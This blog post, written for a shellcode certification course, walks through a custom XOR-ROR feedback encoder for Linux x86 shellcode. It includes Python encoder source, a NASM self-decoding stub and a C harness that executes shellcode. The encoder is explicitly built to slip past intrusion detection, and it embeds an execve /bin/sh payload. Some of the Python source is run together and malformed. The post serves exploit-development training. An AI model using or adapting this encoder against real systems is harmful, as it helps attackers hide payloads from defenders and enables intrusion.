SLAE #4: Custom XOR-ROR-Feedback Encoder

SLAE_logo2

Content

  1. Why encoding?
  2. What encoding algorithm
  3. Writing the encoder
  4. Writing the decoder
  5. Running the final product

1. Why encoding?

Two of the biggest challenges for using our shellcodes are:

  • Bad characters contained in the shellcode
  • Intrusion detection systems

Today I am writing an encoder to tackle both those points.

2. What encoding algorithm

There are an endless supply of logical, mathematical and other functions to choose from to encode a given plain text. Each come with their set of advantages and disadvantages.

Looking at the disadvantages I ruled out the following options for the given reasons:

  • Insertion adds considerable size to the payload.
  • Bitwise addition, subtraction, shift, etc. adds considerable size to the payload due to carry overs.
  • Simple XOR with single key allows holistic detection systems to identify a connection between the encoder and the encoded part, e.g.:
    • The stub contains the size of the encoded payload
    • The stub contains the marker that terminates the payload

XOR is without doubt the most suitable of the available algorithms as it is fast and encodes in place, i.e. it does not require additional space for the encoded text.

So how can we deal with the disadvantages?

Let’s stick with the marker terminating our string to be encoded. Some options are:

  • Encode the marker together with the plaintext= XOR ing the marker with the key would zero it out (as we use the key as the marker) πŸ™
  • Chain encoding= Encode the first byte with the key and subsequent bytes with the previous plaintext byte= Would create NULL bytes for duplicate bytes in a row πŸ™
  • Feedback encoding: Encode the first byte with the key and subsequent bytes with the previous encoded byte= Allows the decoding in reverse order without the key πŸ™
  • Feedback chain ror encoding: Encode the first byte with the key, create a new key by right rotating the previous plain text byte with the previous encoded byte= loses randomness midway throughout encoding longer strings πŸ™
  • Feedback chain additive ror encoding:
    1. Encode the first byte with the key
    2. Create a new key for encoding the next byte by:
      1. adding the current key to the current encoded byte
      2. Bitwise rotate the current plaintext byte by the sum of calculation 1.
    3. XOR the next byte with the new key
    4. After encoding the last byte, add the marker to the string and encode it in the same fashion πŸ™‚

slae04_00

Clear as mud I suppose?
There we have it. Our perfect algorithm.
Remember that the bytewise ROR only allows for 8 rotations before they repeat; the sole purpose of the additive rotations are to insert some “pseudo randomness” to avoid null bytes.

3. Writing the encoder

Let me translate the picture in my head into python code:

 
#!/usr/bin/env python
#####################################################################################
## [Name]: xor-ror-feedback-encoder.py -- shellcode encoder
##-----------------------------------------------------------------------------------
## [Author]: Re4son re4son [at] whitedome.com.au
##-----------------------------------------------------------------------------------
## [Details]: 
## Uses a random integer as initialisation vecor to xor the first byte of shellcode 
## then uses the un-encoded previous byte and ror's it 
## (encoded previous byte + initialisation vector) times - the result is used
## to xor the next byte
## the initialisation vectore will be attached to the shellcode as eol marker prior
## to encoding.
##
## Output:
##            1. the encoded payload only
##            2. the entire shellcode (stub and payload)
##            3. The nasm code of the stub containing the payload
##
## A warning will be displayed if bad characters are deteced inside the 
## encoded shellcode - just run it again.
##
## A bigger warning will be displayed if the stub cotains a bad char
##-----------------------------------------------------------------------------------
## [Usage]:
##          Insert your shellcode into SHELLCODE constant, define bad chars
##   run    python xor-ror-feedback-encoder
#####################################################################################
import os
from random import randint


SHELLCODE = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
BADCHARS = ("\x00\x0a\x3b")
STUB = ("\xfc\xb2\x00\x52\xeb\x13\x5e\x58\x8a\x0e\x30\x06\x8a\x06\x01\xd1\xd2\xc8\x38\x16\x74\x08\x46\xeb\xef\xe8\xe8\xff\xff\xff")
keypos = 3 		## what position in the stub shall be replaced with the key?
LINEWIDTH = 12		## set to higher than final shellcode length for now line break
encoded = "\""
encoded2 = ""
i = 1
badcharalert = 0	## No of bad chars in shellcode
realbadalert = 0	## No of bad chars in stub

def mask(n):
   """Return a bitmask of length n (suitable for masking against an
      int to coerce the size to a given length)
   """
   if n >= 0:
       return 2**n - 1
   else:
       return 0

def ror(n, rotations=1, width=8):
    """Return a given number of bitwise right rotations of an integer n,
       for a given bit field width.
    """
    rotations %= width
    if rotations < 1:         return n     n &= mask(width)     return (n >> rotations) | ((n << (width - rotations)) & mask(width)) def initkey(shellcode):    """Return a random integer without occurrence in shellcode    """    IV = randint(1, 255)			## Get a random initialisation vector    n = 254				## we will try up to 254 times to find a unique vector    while (n > 0):			## We increase IV by 1 until we find one that is unique
	for x in bytearray(SHELLCODE):
		if (IV == x):
			if (IV < 0xff): 				IV += 1 			else: 				IV = 1 			n -= 1 			break 	break    return IV 			 IV = initkey(SHELLCODE) key = IV for x in bytearray(STUB) : 	if (keypos > 0):
		if (keypos == 1):
			x = key
		keypos -=1
	for z in bytearray(BADCHARS):
		if (x == z):
			realbadalert += 1
	encoded += '\\x'
	encoded += '%02x' % x
	if (i == LINEWIDTH):
        	encoded += '\"\n\"'
        	i = 0
	i += 1

for x in bytearray(SHELLCODE) :
	# XOR Encoding 
	y = x^key
	key = ror(x,(y+IV))
	for z in bytearray(BADCHARS):
		if (y == z):
			badcharalert += 1
	encoded += '\\x'
	encoded += '%02x' % y
	if (i == LINEWIDTH):
        	encoded += '\"\n\"'
        	i = 0
	i += 1
	encoded2 += '0x'
	encoded2 += '%02x,' %y

y = IV^key
encoded += '\\x'
encoded += '%02x' % y
encoded += '\"'

encoded2 += '0x'
encoded2 += '%02x' %y

if (realbadalert > 0):
	print '\n\t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'
	print '\t!!################################################!!'	
	print '\t!!##      EXTREME WARNING - EXTREME WARNING     ##!!'
	print '\t!!##       Found %02d bad chars  in stub!!        ##!!' % realbadalert
	print '\t!!################################################!!'
	print '\t!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
	os.system("""bash -c 'read -s -n 1 -p "Press any key to continue...\n"'""")

if (badcharalert > 0):
	print '\t!!!!!!!!!!!!!!!!!!!!!!!!!!'
	print '\t!!        WARNING       !!'
	print '\t!!  Found %02d bad chars  !!' % badcharalert
	print '\t!!!!!!!!!!!!!!!!!!!!!!!!!!\n'
print '[+] Key: 0x%02x' %IV
print '**********************'
print '** Encoded payload: **'
print '**********************'
print encoded2
print 'Len: %d' % (len(bytearray(SHELLCODE)) +1)
print '\n*****************************************'
print '** Shellcode (stub + encoded payload): **'
print '*****************************************'
print encoded
##print 'Len: %d \n' % ((len(bytearray(SHELLCODE)) + 1 + (len(bytearray(STUB)))

print '\n*********************'
print '** nasm shellcode: **'
print '*********************'
print '; Filename: xor-ror-feedback-decoder.nasm'
print '; Author:  Re4son re4son [at] whitedome.com.au'
print '; Purpose: XOR-ROR feedback encoder'
print '\n'
print 'global _start'			
print 'section .text'
print '_start:'
print '  cld				; zero out edx'
print '  mov dl, 0x%02x			; initialisation vector used to find end of encoded shellcode' %IV
print '  push edx			;  and used as initial xor key'
print '  jmp call_decoder		; jmp / call/ pop'
print 'decoder:'
print '  pop esi			; jmp, call, pop'
print '  pop eax			; use key as initial xor vector'
print 'decode:'
print '  mov byte cl,[esi]		; encoded byte will define no of ror rotations of key for next xor'
print '  xor byte [esi], al		; xor current byte with vector'
print '  cmp byte [esi], dl		; have we decoded the end of shellcode string?'
print '  jz shellcode			; if so, execute the shellcode'
print '  mov al, byte [esi]		; decrypted byte will be the base for rotation to get key for next xor'
print '  add ecx, edx			; add initial key to ecx'
print '  ror al, cl			; rotate decrypted left byte times (encrypted left byte * initialisation vector)'
print '  inc esi			; move to the next byte'
print '  jmp short decode		; loop until entire shellcode is decoded'
print 'call_decoder:'
print '  call decoder			; jmp / call / pop'
print 'shellcode: db ' + encoded2
if (badcharalert > 0):
	print '\t!!!!!!!!!!!!!!!!!!!!!!!!!!'
	print '\t!!        WARNING       !!'
	print '\t!!  Found %02d bad chars  !!' % badcharalert
	print '\t!!!!!!!!!!!!!!!!!!!!!!!!!!'

Looks promising. Let’s give it a try:
slae04_01

The user will be notified if the shellcode contains bad characters:
slae04_02
If that happen, just run it again and again until a key is generated that works.

In extremely unlucky circumstances with many bad chararcters, our stub may contain one. Our encoder will make us aware of that:
slae04_03
We should never get this, but here is what we have to do if we are unfortunate: we manually have to find alternative opcodes for the offending ones.

4. Writing the decoder

Now that we have the encoded payload it’s time to work on the decoder part in nasm:

; Filename: xor-ror-feedback-decoder.nasm
; Author:  Re4son re4son [at] whitedome.com.au
; Purpose: XOR-ROR feedback encoder


global _start
section .text
_start:
  cld				; zero out edx
  mov dl, 0x2c			; initial key used to find end of encoded shellcode
  push edx			;  and used as initial xor key
  jmp call_decoder		; jmp / call/ pop
decoder:
  pop esi			; jmp, call, pop
  pop eax			; use key as initial xor vector
decode:
  mov byte cl,[esi]		; encoded byte will define no of ror rotations of key for next xor
  xor byte [esi], al		; xor current byte with vector
  cmp byte [esi], dl		; have we decoded the end of shellcode string?
  jz shellcode			; if so, execute the shellcode
  mov al, byte [esi]		; decrypted byte will be the base for rotation to get key for next xor
  add ecx, edx			; add initial key to ecx
  ror al, cl			; rotate decrypted left byte times (encrypted left byte * initialisation vector)
  inc esi			; move to the next byte
  jmp short decode		; loop until entire shellcode is decoded
call_decoder:
  call decoder			; jmp / call / pop
shellcode: db 0x1d,0x58,0x5c,0x38,0xa9,0x56,0xb8,0x5f,0x65,0x1b,0x3c,0x0b,0xbc,0xe7,0xd2,0xdf,0x83,0xf1,0x44,0xda,0xc7,0x8c,0xbb,0xdb,0x1b,0x2d

Looks promising.
Let’s watch the decoding in action using gdb:

Perfect. Works as advertised.

5. Compile and test the final package

Lets pop it into our POC program:

#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x17\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x59\x31\xd2\xb2\x0d\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe4\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x0a";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

And run it:

slae04_04

Mission accomplished.

All files are available on github.


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student-ID: SLAE – 674

Facebooktwitterredditpinterestlinkedinmail

Leave a Reply